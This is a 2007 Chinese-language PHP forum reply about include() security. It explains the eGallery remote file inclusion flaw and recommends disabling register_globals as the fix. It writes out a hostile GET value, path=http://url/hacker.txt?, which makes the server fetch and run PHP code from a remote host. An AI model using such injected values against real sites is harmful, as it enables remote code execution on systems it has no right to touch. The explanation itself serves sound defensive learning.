作者fillano (冒牌费大公)
看板PHP
标题Re: [闲聊] 关於安全性
时间Sun Jan 28 22:45:59 2007
※ 引述《MrMarcus (请勿忘记密码)》之铭言:
: ※ 引述《chweng ()》之铭言:
: : 没那麽夸张吧?
: : 就算是去 include 别人的 url,也只会收到对方处理过後的资料而已,
: : 应该不会接收到对方处理过程中所用的变数。
: : 我刚刚试了一下,应该是没办法用这方法读到才对,
: : 或者我误会你的意思了?可以请你实作一个看看吗?
: : 有一种比较常见的情况是,某些程式会以 inc 为副档名,
: : 但偏偏 server 又忘了把这类档案的 MIME type 设成 application/x-httpd-php,
: : 导致 server 直接以 text/plain 直接把程式码全给倒出来…
: : 如果这时候程式中刚好又含有重要资讯的话,就直接被别人看光光了。
: : 不过这时候也不需要 include,直接踹到该 inc 正确的位置就可以了……
: include("http://") 这种方式只能撷取到对方web server执行完後送出的html
: (或者其他格式)内容,这样是不会抓到对方的PHP原始码的(除非就像c网友所
: 提到的状况)。不过include在多人共用的伺服器上面确实有可能把其他使用者
: 的程式码抓进来,例如在虚拟主机上面,这种状况是有可能发生的(其他档案
: 操作的功能也一样)。PHP对於这个问题有提供一些方式去防止使用者试图
: 去include/require/fopen()他们不该看到的档案,请查询关於safe mode的资料。
: http://www.php.net/manual/en/features.safe-mode.php
eGallery有一个着名的漏洞,他有一个程式用global变数传递目录名称,然後再
include 目录名+档案名.....
结果有人就用这个方法入侵:
在一个远端网站,放置一个纯文字档案,例如hacker.txt
然後用get的方式对程式传入相同名称的变数,例如path=
http://url/hacker.txt?
然後当程式include($path."file")时 --> 会变成
include("
http://url/hacker.txt?file")........
纯文字档的内容只要包在<?php ?>之间,就会被执行。接下来可以做的事情就多了
所以include还是可能因为这样出问题的。当然,关掉register_global,严格区分
一般变数、get、post、cookie等,就可以尽量避免这个问题。
--
Sapere Aude! 这就是启蒙运动的口号!
--
※ 发信站: 批踢踢实业坊(ptt.cc)
◆ From: 60.248.166.83